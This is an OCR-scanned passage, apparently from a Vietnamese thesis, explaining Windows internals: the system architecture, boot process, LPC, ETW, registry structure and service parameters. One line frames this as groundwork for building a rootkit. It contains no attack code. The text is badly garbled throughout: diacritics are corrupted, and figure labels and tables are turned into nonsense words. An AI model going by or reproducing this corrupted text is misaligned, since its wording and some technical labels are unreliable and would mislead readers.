va khong dugc truy nhép truc tiép vao phan cing.

Windows ciing nhu phan 16n cic hé diéu hanh Unix 1a hé diéu hanh monolithic, c6
nghia 1a cac thanh phﬁn ctia hé diéu hanh va trinh diéu khién thiét bi chia sé mot vung nhd
duoc bdo vé trong kernel-mode. Néu mét thanh phén cta hé diéu hanh hodc mot trinh diéu
khién nao d6 1am dir liéu ding chung 13i thi s& anh huéng dén cac thanh phan khac. Céc thanh
phan cua hé diéu hanh déu duoc thiét ké hudng ddi twong, dir liéu bén trong ddi twong khong
thé truy nhap truc tiép boi cac thanh phan khac, ma phai thong qua nhimg phuong thirc cai dat
san.

So luoc vé cac thanh phﬁn ciia hé didu hanh Windows. Cac mé6 dun duoc chia lam 2
nhom, chay & User mode va Kernel mode. Céc ludng & trong mot tién trinh dugc chay trong
khéng gian dia chi dugc bao vé. Do d0, cac tién trinh hd trg cta hé théng, cac tién trinh dich
vu, cac ing dung ngudi dung, cac hé théng con ctia méi trudng déu c6 mot khong gian dia chi
riéng.

Sijstegpt Sarvica Lsar Environment
PP frocessas applications SUBsyETarm s
processes
w w
Subsystam DLL:
User mode
r L L L 3

Kernel made

Executive Windowing

) ) and graphics

Kernel Device drivers

Hardwara abstraction layear (HAL)
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Hinh 2.2. Kién tric tong thé Windows

Trong user mode, c6 4 loai tién trinh chinh:

C4c tién trinh hd tro cua hé thong(System support processes), bao gom tién trinh ding
nhap (logon process) va quan ly phién lam viéc. Hai tién trinh nay khong phai 1a dich
vu cua Windows.

C4c tién trinh dich vu(Service processes): gdm cd Task scheduler va Spooler, c4c dich
vu dugc chay 1 cach doc 1ap trong mdi phién lam viéc ma ngudi dung khac nhau ding
nhap vao.

Céc ung dung: c6 6 loai Windows 32-bit, 64-bit, Windows 3.11 16-bit, MS-DOS 16-
bit, POSIX 32-bit va OS/2 32-bit.

Céc hé théng con cia moi truong: Moi trudng hoat dong va twong tac cua hé diéu
hanh.

Trén hinh ciing ¢6 phan Subsystem DLLs, cac ung dung hay cac dich vu khdng goi cac ham
trong nhan mot céach truc tiép ma phai théng qua Subsystem DLLs, c6 nhiém vu dich nhitng
l61 goi ham API thanh nhirng 161 goi dich vu bén trong caa Windows.

Céc thanh phan trong kernel mode:

Windows Excutive chira nhitng dich vu co ban cua hé diéu hanh, nhu 1a quan 1y bo
nhé, quan ly tién trinh, quan ly cac luong, bao mat, vao ra, mang va lién két giira cac
tién trinh.

Kernel: nhan ciia hé diéu hanh, chira cac ham mirc thap cua hé thong, nhu 1a 1én lich,
ngat va gui 15i. N6 cung cap mot tap cac thu tuc va ddi tugng co ban dé xay dung nén
cac cau tr(ic mac cao caa hé thng.

Trinh diéu khién thiét bi (Device driver): dich nhitng 1di goi ham vao ra thanh nhiing
yéu cau truy nhap phan ctng.

Lép phan cang trira twong (Hardware Abstraction Layer): 1a mot 16p doc 1ap voi nhan,
trinh diéu khién thiét bi dé thyc thi hoat dong cua Windows trén nhiéu phan cing khac
nhau.

Co ché ctra s6 va hién thi: cung cip giao dién ngudi ding dod hoa (GUI), thao tac voi
cira so, cac diéu khién va va.

Bang 2.3. Nhiing thanh phan chu chot cia Windows

Tén tép tin Thanh phan

Ntoskrnl.exe Phan thuc thi va nhan cua hé diéu hanh

Ntkrnlpa.exe rong hd trg Physical Address Extension

Phan thyc thi va nhan hé diéu hanh véi mo

(PAE) cap phat t6i da 64GB bd nhé vt 1y

Hal.dll Hardware abstraction layer

Win32Kk.sys

Mot phan ciia Windows subsystem hoat
dong trong kernel mode
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Nhitng ham hd tro bén trong hé théng va
nhitng dich vu hé thdng guri cac thong tin

Ntdll.dll
cho cac ham thyec thi.

ggzgglilzl.dll, Advapi32.dll, User32.dll, Céic thanh phan con ciia Windows

2.1.5. Chi tiét c4c thanh phan cua hé diéu hanh

System Processes Sarvices Applications Environment
Subsystens
O
Winlacgat & peoaen| Sy aia
]
Sazzicn H anvicas e application POSI
RlaS Subsystem DL Wirrows DLLs |
h 3 b b L3 L 4 YT
NTDLLDLL |
Llzar meick
Kamal mocla
Systam
thriaacs
¥ r L 2 L I J L 4 L1 X
Systam barvica Dizpatchar
Fernal mode calkbla intarfaas)
Wil
140 Mg = 0 LISER,
oo &= -4 @49 = (e]o]
080|292 | 25 |258| 85 |35 | 52 [2is
Davice & ggﬁ 2m T o %-53, 5: B [ (QE ggg
Fila Sy=. Qg |82 |2 [v E| 2= i Graphics
X = o :
Drrivars = dtivars
Fatrnal
Harchwara Abstraction Lawar HAL

Harcwara intarfacas (busas, |10 davicas, intarrupts,
intarval timats, DA, mamory cache contial, an: )

Hinh 2.3 Kién triic bén trong hé diéu hanh Windows

Céc hé thong con cung cap méi trudng lam viéc: Ban ddu Windows c6 3 hé théng con
cung cdp moi trudng lam viée 1a OS/2, POSIX va Windows. Sau d6 OS/2 da bi g& bo tir
Windows 2000, va dén Windows XP thi POSIX bi g& bo. Bay gio' chi con mot mdi trudng

lam viéc 1a Windows.
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Khi mot tmg dung goi thu vién cta hé thdng con (Subsystem DLLs) thi xay ra mot

trong 3 trudong hop sau:

Ham duoc goi chay hoan toan ¢ user mode, khéng ¢ mot 1oi goi dich vu nao duogc
thuc hién, vi du ham GetCurrentProcessID, vi ProcessID khong thay dbi trong qua
trinh tién trinh ton tai cho nén gié tri tra vé 1a sb ID cua tién trinh, khong can phai goi
dich vu hé thong.

Ham duoc goi y&u cau mot hodc nhiéu 1an goi dich vu hé thdng, vi du ham ReadFile
va WriteFile dugc goi thi ¢ 11 goi dich vu hé thdng, tir 6 kich hoat cac ham trong
nhan nhu NtReadFile va NtWriteFile dé thuc hién cong viéc doc ghi tép tin.

Ham duoc goi Yeu cau mot sé viéc thuc hién & Hé thdng con cung cip mai truong l1am
viéc, chay & user mode. Lac d6 thu vién cua hé théng con s& guri Yeu cau va nhan két
qua theo mé hinh client/server dén Hé théng con cung cip méi truong lam viéc. Vi du
nhu mot ham nao d6 yéu cau ngudi ding nhap dit liéu hay chon tir hop thoai.

Hé thdng con Windows:

2.2.

Tién trinh quan 1y méi trudng: Csrss.exe (Client server run-time subsystem) hd tro:
o Cuaso lénh
o Tao va xoa tién trinh, ludng.
o H& tro tién trinh 16bit cia DOS trong may a0 DOS
o Cung cap mot sb ham tién ich nhu GetTempFile, DefineDosDevice,
ExitWindowsEx.
Trinh diéu khién nhan & kernel mode: Win32k.sys
o Quan ly ctra s6, hién thi, quan ly thiét bj vao nhu chudt, ban phim va céc thiét
bi khac. Truyén cac thong diép dén cac tng dung.
o Cung cip giao dién thiét bi a6 hoa GDI, 1a mot thu vién chuan c6 sin cac ham
xtr ly dudng thang, van ban, vé hinh.
Céc thu vién cua hé thong con (Kernel32.dll, Advapi32.dll, User32.dll, va Gdi32.dll),
thuc hién cong viéc chuyén doi tir 1oi goi ham API(co tai liéu diy du) sang goi dich vu
hé thong(khong ¢ tai liéu chinh thic) néu can.
Trinh diéu khién hién thi 6 hoa, 1a trinh diéu khién phu thudc vao ting thiét bi cu thé.

CO CHE HOAT PONG CUA WINDOWS
H¢ diéu hanh Windows cung cip mot co ché hoat dong dua trén nhiing thanh phan

hoat dong trén kernel mode, g@)m co thanh phﬁn thuc thi, nhan va trinh diéu khién thiét bi. Dé
xay dung mot rootkit can hiéu dugc co ché hoat dong cua hé diéu hanh Windows.

2.2.1.

Kheoi dong hé théng Windows

Hau hét cac hé diéu hanh déu chia dia cing thanh cac phan ving dé quan 1y. Sau dé st

dung céac hé thong tép tin nhu FAT hay NTFES dé dinh dang tirng phan ving. Mot 6 dia cing
c6 ti da 4 phan vung primary, vi du nhu:

VU DUCLY - DI0CQCNATO1-N Trang 10



Do an tot nghiép Pai Hoc Chuong 2

Boot code
1
2 .
= Fartition tabla
4
Partitions: within an
extendad partition
|
I |
Boot parition
| | | |
Fartition 1 Partition 2 Fartition 3 Fartiticn 4

[Extendead)

|:| MWIBR |:| Boot sedor |:| Extended partition Dot record

Hinh 2.4. Cdu triic ciia mét dia cirng

Qua trinh khoi dong ctia Windows NT(2000, XP) nhu sau:

Dia cing vt 1y dugc chia thanh cac Sector, mdt sector cua dia cing chuan IBM-PC 14
512bytes. Sector dau tién cua may tinh 1a Master Boot Record (MBR), mdt phan ciia MBR
luu boot code 1a nhitng Iénh thuc thi luc khéi dong may, phz‘in con lai lvu mot bang 1a bang
phan ving (partition table) tro dén cac phan ving trong 6 cing. Khi may tinh khoi dong, doan
ma dau tién dugc kich hoat nam trong BIOS, BIOS sé& chon thiét bi khai dong, néu 1a dia cimg
thi n6 s& doc MBR vao bd nhd va chuyén quyén diéu khién cho MBR.

MBR code s& quét tit ca cac phan ving trong bang phan ving luu trong nd, toi xem
phan viing nao ¢ gan cd khai dong. Sau d6 no doc sector dau tién ctia phan ving co gan co
d6 vao bo nhd va chuyén quyén diéu khién cho phan ving, phan ving d6 duoc goi 1a phan
ving khoi dong (boot partition), sector dau tién d6 duoc goi 1a sector khoi dong (boot sector).

Boot sector tién hanh nap Ntldr vao bd nhd, néu vi Iy do nao d6 ma khong tim thay thi
s& c6 thong bao nhu “BOOT: Couldn't find NTLDRP” hodc “NTLDR is missing”. Néu ton
tai, Ntldr s€ thyc hién cac cong viéc sau:

e Ntldr dang ton tai trong ché do thuc (real mode: khong c6 su anh xa dia chi 40 sang
vat ly, Ntldr chi sir dung 1MB dau tién ctia bo nho). Ntldr s& chuyén hé thdng sang ché
d6 bao vé (protected mode: khong cé sy anh xa dia chi ao sang dia chi vat ly, tuy
nhién toan bd bo nhd co thé truy cap duoc). Sau khi hé théng di chuyén sang
protected mode, Ntldr s€ tao ra cac bang phan trang bd nhéd, sau do6 cho phép str dung
bo nhé @6 phan trang, Windows s€ hoat dong tron vung nhé nay mot cach binh
thuong.

e Ntldr s& nap Ntbootdd.sys chira nhitng ham truy nhap dia cing ddi vai nhiing hé thong
c6 6 dia SCSI, sau d6 doc tép Boot.ini dé xac dinh hé théng nam trén phan ving nao.
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Néu ton tai tép tin Hiberfil.sys trong thu muc gbc caa phan ving hé théng, qué trinh
khoi dong s& dugc hoan thanh bang cach nap toan bo Hiberfil.sys vao b nhé dé phuc
hoi lai hé théng nhu trudce khi Hibernate.

Néu khong ton tai Hiberfil.sys, Ntldr s& goi chuong trinh Ntoskrnl.exe dé thuc hién
qué trinh khai dong hé thong.

Ntoskrnl s& tiép tuc khoi dong hé théng véi 2 pha:

Pha 0: Toan bo ngat s& bi cdm, Ntoskrnl s& goi nhitng ham chinh KiSystemStartup,
sau d6 goi ham HallnitializeProcessor va KilnitializeKernel cho méi CPU. Sau khi
khai tao kernel trén CPU xong, mdi ham KilnitializeKernel s& goi tiép HalInitSystem
dé chay ExplnitializeExecutive cho phép HAL c6 quyén diéu khién, chuan bj bo diéu
khién ngat cho méi CPU. Cudi cung ExplnitializeExecutive thuc hién cac thu tuc dé
chay trinh quan ly b nhd, trinh quan 1y ddi twong, trinh theo ddi théng tin hé théng,
trinh quan Iy tién trinh, trinh quan ly phan cing.

Pha 1: Hé thong khoi tao trinh quan ly ngudn dién, gio hé thdng, cong cho cac ddi
tuong thuc hién LPC, sau d6, trinh quan ly phién lam viéc sé duoc goi (Session
Manager subsystem - Smss)

Smss chay ¢ user mode, né s& tao ra cac security token, doc cac thong tin tir registry dé thuc
hién céac thong tin khdi tao nhu:

2.2.2.

Tao dbi twong céng LPC (\SmApiPort)

Dinh nghia cong COM1, LPT.

Thyec thi cac chuong trinh trong HKLM\SYSTEM\CurrentControlSet\Control\Session
Manager\BootExecute (théng thuong néu Scan disk duoc chay sé dat Iénh ¢ day, tng
dung Autochk).

Mé céc thu vién DLL can thiét &
HKLM\SY STEM\CurrentControlSet\Control\Session Manager\KnownDLLs

Khoi tao bién méi truong trong HKLM\System\CurrentControlSet\Session
Manager\Environment.

Nap phan kernel mode ciia Win32k.sys chtra nhitng thdng tin vé cu hinh hién thi
Khai tao cac tién trinh caa hé théng con, bao gom Csrss.

Nap Trinh quan ly dich vy (SCM)

Thuc thi tién trinh dang nhap (Winlogon)

Céc kiéu bat su kién

Cac ngat(interrupt) va cac ngoai 18(exception) 1a nhitng diéu kién ma diéu huéng bod vi
xtr Iy vao nhiing ludng bén ngoai ludng diéu khién chinh. Thuat ngit bay(trap) la mot co ché
ctia bo xur 1y dé bat giir cac ngoai 1& va cac ngit mdi khi chiing xay ra, sau d6 chuyén diéu
khién dé mot vi tri khac trong hé diéu hanh. Trong hé diéu hanh Windows, diéu khién dugc
chuyén dén bo diéu khién bay (trap handler) dé goi thuc hién chuong trinh con hodc ham nao
d6 twong tmg voi ngit hay ngoai 1é.
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Trap handlers

1
1
Interrupt
Interrupt — ser v ca
routines
1
1
. myatarm
System service call ————» yst
servicas

Hardware exceptions _ (Exceplion Exception Exception
—_ — :
Software exceptions frame) dispatcher handlers

Wirtual memory
Virtual address rmanager's
exceptions pagear

L

Hinh 2.5. Cdc bé bay handle dé xir Iy ngoai 1é, ngat, goi dich vu hé théng, ...

2.2.3. Quan ly cac ddi tuong

Trong hé diéu hanh Windows, mot ddi tuong 1a duy nhat va 1a thé hién cua mot kiéu
dbi tuong. Kiéu d6i twong bao gom céc kiéu dir liéu dinh nghia sin ctia hé diéu hanh, cac ham
tuong tac trén cac ki€u dir liéu do6 va mdt tap cac thudc tinh cua doi tuong. Vi du, mot tien
trinh 1a mot thé hién cua ki€u doi tugng tién trinh, mdt t&€p tin 1a mdt thé hién cua doi tuong
kiéu tép tin...

Mot thudc tinh ddi tuong 1a mot tap céac dir liu trong mot ddi tugng ma no6 xac dinh
trang thai ciia doi twong. Vi du mét doi tugng ki€u tién trinh thi c6 cac thudc tinh nhu ID cta
tién trinh, thu ty vu tién tién trinh va mét con tré dén mot doi tuong access token.

Diém khac nhau co ban nhét giira ddi twong va mot cau triic dir liéu thong thuong 1a
cAu trac dir liéu bén trong cuia mot ddi tuong da bi an. bé léy hodc ghi céac thong tin cia mdt
do1 tuong can goi cac dich vu doi twong, khong thé thay doi1 mot cach truc tiép dugc.

Uu diém cua viée str dung ddi tugng:

e Dit tén cho cac tai nguyén ctia hé thong

e Chia sé tai nguyén va dit lidu giira cac tién trinh

e Bao v¢ tai nguyén khoi viéc truy nhap khong phép

e Hé diéu hanh co thé quan 1y va theo dbi duogc
Hau hét cu trac dit liéu trong hé diéu hanh Windows 13 ddi tuong. Céc dit liéu can phai dugc
chia s¢, bdo v¢, dat t€n hodac lam cho c6 thé nhin thady duogc bdi cadc chuong trinh & user
mode(thong qua cac dich vu hé thong) déu dugc dat trong doi tugng. Cac cau tric dir liéu ma
chi dugc st dung bdi mdt thanh phan cta h¢ di€éu hanh thi khong dugc biéu dién dudi dang
doi tuong.
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2.2.4. Cac co trong windows

Windows c6 mét tip cac cd luu trong bién toan cuc cia hé thdng 1a NtGlobalFlag. Co
nay cho phép theo ddi, debug hé théng. Bién NtGlobalFlag dugc khoi tao tir khoa
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager vao lic khoi dong. BO
Platform SDK cta Microsoft di kém cong cu Gflags.exe dé xem va thay doi cac gia tri cac cd

toan cuc hé théng.

Global Flags X

System Registry l Kermnel Flags] Image File]

-
-
-

1 000

[ L I A

Stop on exception
Show loader =naps
Debug initial command

Enakble heap tail checking
Enable heap free checking
Enable heap parameter checking
Enable heap validation on call

Enable application werifier

Enable pool tagging

Enable heap tagging

Create uszer mode stack trace databaze
Create kernel mode =tack trace databasze
Maintain a lizt of objects for each type
Enable heap tagging by DLL

Kernel Special Pool Tag
f* Hex
{ Text
" Werify Start {» \erify End

—

[ L i e i A

I I I L

Chuong 2

Enable debugging of Win32 subsystem
Enable loading of kernel debugger evymbols
Dizable paging of kernel stacks

Enable sy=ztem critical breaks

Dizable heap coalezce on free

Enable cloze exception

Enable exception logging

Enable object handle type tagging
Enable page heap

Debug WINLOGON

Buffer DbgPrint output

Early critical =ection event creation
Load OLL= top-down (Win54 onhy)
Enable bad handle=s detection
Dizable protected DLL verification

Object Reference Tracing

[ [

PuulTﬂgs|

Process |

Cancel

o ]

Hinh 2.6. Cong cu Gflags

C6 thé dung Debugger dé xem thong tin vé GlobalFlag:

kd> Igflags

NT!NtGlobalFlag 0x4400

STOP_ON_EXCEPTION
DEBUG_INITIAL_COMMAND
HEAP_ENABLE_TAIL_CHECK
HEAP VALIDATE PARAMETERS
*POOL_ENABLE_TAGGING

SHOW_LDR_SNAPS
STOP_ON_HUNG_GUI
HEAP_ENABLE_FREE_CHECK

HEAP_VALIDATE ALL

HEAP_ENABLE_TAGGING
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USER_STACK_TRACE_DB KERNEL_STACK_TRACE_DB
*MAINTAIN_OBJECT TYPELIST  HEAP ENABLE_TAG BY DLL
ENABLE_CSRDEBUG ENABLE_KDEBUG_SYMBOL_LOAD

DISABLE_PAGE_KERNEL_STACKS HEAP_DISABLE_COALESCING
ENABLE_CLOSE_EXCEPTIONS ENABLE_EXCEPTION_LOGGING
ENABLE_HANDLE_TYPE_TAGGING HEAP_PAGE_ALLOCS
DEBUG_INITIAL_COMMAND_EX DISABLE_DBGPRINT

2.2.5. Co ché trao ddi thong diép toc do cao
Local Procedure Call (LPC) 1a co ché trao ddi thong diép giita cac tién trinh & toc d6 cao
gitra cac thanh phan Windows véi nhau. Mot so truong hop dung LPC:
e Ung dung Windows sir dung Goi thu tuc tir xa (RPC-Remote Procedure Call), st dung
gian tiép LPC khi goi local-LPC.
e Mot vai ham Windows API giri thong diép dén tién trinh hé théng con dé xu ly.
e Winlogon sir dung LPC dé giao tiép véi Tién trinh quan ly xac nhan bao mat LSASS.

Str dung LPC:

kd> !lpc
Usage:
lpc - Displaythis help
llpc message[Messageld] - Displaythemessage with a
given ID and all related
information
If Messageld isnot
specified, dumpall messages
llpc port [PortAddress] - Display the port information
llpc scan PortAddress - Search this port and any
connected port
llpc thread [ThreadAddr] - Search the thread in rundown
portqueuesanddisplay the
portinfo
If ThreadAddr is missing,
display all threads marked
as doing some Ipc operations

kd> !lpc port
Scanning 206 objects
1 Port: 0xel360320 Connection: 0xe1360320
Communication: 0x00000000 'SeRmCommandPort’
1 Port: 0xel36bc20 Connection: 0xe136bc20
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Communication: 0x00000000 'SmApiPort’

1 Port: 0xel33ba80 Connection: 0xe133ba80
Communication: 0x00000000 'DbgSsApiPort'

1 Port: 0xel3606e0 Connection: 0xe13606e0
Communication: 0x00000000 'DbgUiApiPort'

b

1 Port: 0xe205f040 Connection: 0xe205f040
Communication: 0x00000000 'LsaAuthenticationPort'

Dé xem thong tin chi tiét vé port 'LsaAuthenticationPort'

kd>!Ipc port 0xe205f040

Server connection port e205f040 Name: LsaAuthenticationPort
Handles: 1 References: 37
Serverprocess : ff7d56c0(Isass.exe)
Queuesemaphore : ff7bfcc8

Semaphorestate 0 (0x0)
The message queue is empty
The LpcDatalnfoChainHead queue is empty

LPC st dung cac phuong thire sau dé trao ddi cac thong diép:

e Céc thong diép nho hon 256 byte dugc giri bang cach goi LPC véi bo dém chira thong
diép d6. Thong diép nay sai d6 duoc sao chép tir khong gian dia chi tién trinh giri vao
khong gian dia chi cia hé thong, va tir khong gian dia chi hé thong cho dén khong gian
dia chi cua tién trinh nhan.

e Néu client va server muén guri nhiéu hon 256byte thi viing chia sé chung s& duoc thiét
lap, dir liéu s& duogc tién trinh guri sao chép vao ving chung, sau d6 tién trinh nhan sé
nhan théng qua con tro tré vao vung nhé chung do.

e Néu dit liéu con 16n hon ca viing chia sé chung cho phop thi LPC cung cip 2 ham dé
thuc hién viéc sao chép truc tiép tir khong gian dia chi cua client dén khong gian dia
chi cua server.

LPC tao ra mot d6i twong 13 port object & quan 1y trang théi lién lac, c6 4 loai cong:
e Cong két ndi server: Mot port c6 tén dé cac client két ndi vao.
e Cong lién lac server: Port khdng c6 tén, st dung dé server lién lac véi ting client.
e Cong lién lac client: Port khong c6 tén duoc client sir dung dé két ndi dén server
e Port khong tén: Pugc tao va str dung béi 2 ludng trong 1 tién trinh.
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Client address Karnel address space Sorvar address
space space

Connection port

Messace IO
ueLE
Client process Servar process
Hanrllz # ¥ Hardl=
Client L . Server * Harellz
canrmunicaticn catrimuniation
et ' preart
Client view | #4— —|  Server vicw
of sectioin +— —* of section

Shared
setion

Hinh 2.7. Phwong thitc trao doi théng diép trong LPC

2.2.6. Co ché theo ddi hoat dong cua kernel
Nhiéu thanh phan cta nhan Windows va trinh diéu khién thiét bi dung dé ghi lai nhitng dir
lidu va thong tin trong qué trinh van hanh nham muc dich kiém tra. C4c thanh phan nay nam ¢
nhan nhung hoat dong & user mode tao nén ETW (Event Tracing for Windows). Mot Uing
dung st dung ETW thi thudc mdt trong 3 loai sau:
e Controller: Biéu khién viéc bat dau, ding qua trinh ghi log va quan 1y bo dém luu su
Kién.
e Provider: Cung cip GUID (dinh danh toan cuc-xac dinh duy nhat mot) cho cac lép su
kién va dang ky cac 16p do vai ETW.
e Consumer: Lya chon mét hay nhiéu vét ghi lai dugc dé doc ra. Céc su kién co thé
nhan truc tiép tir bd dém cua Controller hay tir tép tin log.

Trong hé théng Windows, ETW dinh nghia mot phién ghi log v6i tén NT Kernel Logger
dung boi nhan va cac trinh diéu khién cbt 16i. NT Kernel Logger dugc cai dit 1a mot trinh
diéu khién thiét bi quan 1y cac thanh phan Windows(Windows Management Instrumentation
(WMI) device driver (tién trinh diéu khién 13 Wmixwdm)). Cac thanh phén bi theo doi gém:

e Disk /O

e Filel/O

e Hardware Configuration Plug and Play manager

e Image Load/Unload The system image loader

e Page Faults Memory manager

e Process Create/Delete Process manager

e Thread Create/Delete Process manager

e Registry Activity Configuration manager
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e TCP/UDP Activity TCP/IP driver

2.3.  PHUONG THUC QUAN LY CUA WINDOWS

2.3.1. Registry
Registry dong vai trd trong viéc cau hinh va diéu khién hudng hoat dong cua toan bo hé
thdng Windows va cac phin mém trén nd. Registry khong phai 1a mot tép dit liéu tinh chira
cAu hinh ndm trén dia ctrng, ma no ton tai ca trong cac cau trac ¢ bd nhd duge quan 1y boi
nhan Windows.
e Trong qua trinh khoi dong, hé thong doc cac thong tin nhu trinh diéu khién thiét bi nao
s& dugc nap, nhitng hé théng con nhu quan Iy bé nhé, quan ly tién trinh tu cdu hinh ra
sao.
e Trong qué trinh dang nhap vao hé théng, cac thanh phan con trong Windows doc cac
thiét dit cia ngudi ding dé khoi tao moéi truong 1am viée theo ngudi ding.
e Trong qué trinh khoi dong cac ng dung thi cac ang dung sé doc nhirng théng tin
trong registry dé kiém tra thong tin vé ban quyén, céc bién toan cuc, dir liéu luu
trae,v..v...

Registry thuong duoc thay doi trong cac trudng hop sau:
e Céc ung dung cai dat mai
e (Cai dat trinh diéu khién thiét bi
e Céc thanh phan Windows thay d6i khi cap nhat phién ban

Bdng 2.4. Céc kiéu dir liéu ciia Registry

Kiéu dir liéu Mo ta
REG_NONE Khong kiéu
REG_SZ Xau unicode c¢6 chiéu dai c6 dinh
REG_EXPAND_SZ X4u unicode c6 chiéu dai thay d6i
REG_BINARY Dit liéu nhi phan
REG_DWORD S6 32-bit.
REG_DWORD_LITTLE_ENDIAN S6 32-bit, byte thap dau tién. Tuong
tg véi kiéu REG_DWORD.
REG_DWORD_BIG_ENDIAN S6 32-bit, byte cao trudc.
REG_LINK Lién két dang Unicode
REG_MULTI_SZ Miang cac xau Unicode c6 ki tu
NULL két thuc xau.
REG_RESOURCE_LIST M0 ta tai nguyén phan cing.
REG_FULL_RESOURCE_DESCRIPTOR | Md ta tai nguyén phan cing.
REG_RESOURCE_REQUIREMENTS_LIST | Cac yéu cau tai nguyén
REG_QWORD S6 64-bit.
REG_QWORD_LITTLE_ENDIAN S6 64-bit, byte thap trudc. Twong
duong véi kiéu REG_QWORD.
REG_QWORD_BIG_ENDIAN S6 64-bit, vai byte cao trudc.
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Bao gdm 5 khoa chinh dugc liét ké trong bang dudi day:

Bdng 2.5. Cau triic 16 gic ciia Registry

Tén Viét tat Muc dich
HKEY_CURRENT_ USER HKCU Thong tin cau hinh cta ngudi st dung
dang login vao hé théng
HKEY_USERS HKU Chtra thong tin cdu hinh cua tat ca nguoi
su dung
HKEY_CLASSES_ROOT HKCR Céc lién két tép tin v6i chuong trinh va
thong tin dang ky ctia cac COM
HKEY_LOCAL_MACHINE | HKLM Luu cac thong tin lién quan dén hé thong
HKEY _CURRENT_ | HKCC Luu cac thong tin vé phan ctmg hién tai
CONFIG

HKCU chtra dir liéu lién quan dén cau hinh phan mém cta nguoi sir dung dang dang nhap vao
hé théng. Phan nay duoc luu trén dia cing & \Document and Settings\<user name>\Ntuser.dat
HKCR chtra 2 loai thong tin: Céc lién két v6i phan mo rong tép tin va cac thong tin dang ky
ciia cac COM. Céc lién két véi phﬁn mo rong cua t&€p vi du HKCR\.xls tuwong tng voi viée st
dung Microsoft Exel dé mo.

Dit liéu trong HKCR duoc Iuu ¢ 2 ngudn sau:

e Dir liéu cua mdi ngudi dung ding ky cac 16p trong HKCU\SOFTWARE\Classes
(twong Gng trén 6 cang la \Documents and Settings\<username>\Local
Settings\Application Data\Microsoft\Windows\Usrclass.dat)

e Céc 16p chung cua hé thbng HKLM\SOFTWARE\Classes

HKLM: Chira thong tin quan trong vé hé thong nhu Phan cting, SAM (chtra mat khau ctia
ting ngudi st dung, mic dinh s& bi an di), cic thong tin bao mat, vé phan mém va vé hé
thong

2.3.2. Cacdichvu

Hé diéu hanh Windows c6 co ché dé chay céc tién trinh lac khoi dong, cac tién trinh
nay cung cap cac dich vu ctia hé théng ma khong can phai 1am cong viée tuong tac véi nguoi
str dung. Cac ng dung goi cac ham API ctia hé diéu hanh va cac ham API nay sé& goi cac dich
vu ctia Windows. Céc dich vu cta hé diéu hanh Windows tuong tu véi cac tién trinh daemon
cua Unix.

Dich vu cua Windows bao gém 3 loai:

e Ung dung dich vu

e Chuong trinh diéu khién dich vu (service control program - SCP)

e Chuong trinh quan 1y diéu khién dich vu (service control manager - SCM)
Ung dung dich vu: mot hodc nhiéu chuong trinh thuc thi chay dang dich vu cua Windows.
Nguoi dung mudn khoi dong, ding hozc cau hinh mot dich vu déu st dung SCP. Windows c6
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san mot sé chuong trinh diéu khién dich vu cho phép khai dong, ding, tam dirng va tiép tuc
chay mot dich vu.

Hau hét cac ung dung dich vu déu chay duéi dang dong Iénh, khdng c6 giao dién dd
hoa. Cac tng dich vu thyc ra 1a nhimg chuong trinh thuc thi trén Windows ma c6 thém phan
giao tiép nhan lénh tir SCM va gtri phan hdi lai cho SCM.

Khi mét ing dung duoc cai dat dudi dang mét dich vu, né phai duge dang ky vai Windows.
Dé dang ki thi trinh cai dit s& phai chay ham API CreateService, ham nay va cac ham lién
quan nam trong Advapi32.dll. Pay 1a thu vién dic biét c6 tit ca cac ham phia client cua SCM.

Khi tao dich vu dung API CreateService, SCM sé tao mot khoa trong Registry cho
dich vu & HKLM\SYSTEM\CurrentControlSet\Services. Ung dung sé dugc chay bai ham
API StartService trong Iic hé diéu hanh khoi dong bai SCM. Cac tham s truyén cho
CreateService bao gom nhitng thong tin nhu tén tép thuc thi, tén hién thi, tai khoan va mat
khau sir dung dé khoi dong dich v, ...

Bang 2.6. Cac tham sé cua dich vu dwgce ding ky trong Registry

Gia tri Tén Mo ta
Start SERVICE_BOOT_START (0) Ntldr hodc Osloader s& nap vao
trong by nhd trong qué trinh
khéi dong.

SERVICE_SYSTEM_START (1) | Dich vu sé tiép tuc khdi tao khi
kernel khoi tao sau  khi
SERVICE_BOOT_START
SERVICE_AUTO_START (2) SCM sé khéi dong dich vu sau
khi Services.exe khdi dong.
SERVICE_DEMAND_START SCM khéi dong dich vu theo

3) yéu cau.

SERVICE_DISABLED (4) Trinh diéu khién hodc dich vu
khoi dong sau khi SCM khoi
dong.

ErrorControl SERVICE_ERROR_IGNORE (0) | B6 qua bat ctr 16i nao do dich

vu tra ve.

SERVICE_ERROR_NORMAL | Néu dich vu tra vé 15i thi s&

(1) hién thi thong bao

SERVICE_ERROR_SEVERE (2) | Néu dich vu tra vé 16i thi hé
théng s€ khoi dong lai ¢ trang
thai trudc d6 ma hé thong hoat

dong tot.
SERVICE_ERROR_CRITICAL | Néu dich vu tra vé 15i thi hé
3) thong s& khoi dong lai ¢ trang

thai trudc d6 ma hé thdng hoat
dong t6t. Néu van 13i thi hién
ra BOSD

Type SERVICE_KERNEL_DRIVER Trinh diéu khién thiét bi

1)
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Gia tri Tén Mo ta
SERVICE_FILE_SYSTEM DRI | Trinh diéu khién thiét bi hoat
VER (2) dong ¢ kernel mode
SERVICE_ADAPTER (4) Cu.
SERVICE_RECOGNIZER_DRIV | Trinh diéu khién viéc nhan
ER (8) dang
SERVICE_WIN32_OWN_PROC | Mot dich vu chay trong mot
ESS (16) tién trinh
SERVICE_WIN32_SHARE_PRO | Nhiéu dich vu trong 1 tién trinh
CESS (32)
SERVICE_INTERACTIVE_PRO | Dich vu cho phép hi¢n thong
CESS (256) di¢p va tuong tac voi nguoi
dung
Group Tén nhém Trinh diéu khién thiét bj hoic
dich vu khoi tao khi nhém khoi
tao.
Tag Tag number Thr ty khoi tao trong nhom.
ImagePath Puong dan dén tép image cia dich | Luu trong
vu \Windows\System32\Drivers
va SCM su dung cac thong tin
tim kiém dé tim dich vu trong
bién méi trudng PATH
DependOnGroup | Phu thudc vao nhom Dich vu s€ khong nap khi mot
dich vu & nhom khac duoc nap
(phu thudc vao dich vu do)
DependOnServic | Phu thudc vao dich vu Dich vu s& khong nap khi mot
e dich vu khac dugc nap (phu
thudc vao dich vu do)
ObjectName Thuong la LocalSystem, nhung c6 | dich vu d6 chay trén tai khoan
thé 14 tén tai khoan .\Administrator | nao d6
DisplayName Tén hién thi cua dich vu Tén dich vu dugc hién thi
Description Mo ta dich vu Tbi da 32767-byte
FailureActions Hanh dong mac dinh cua SCM khi | Hanh dong mac dinh cia SCM
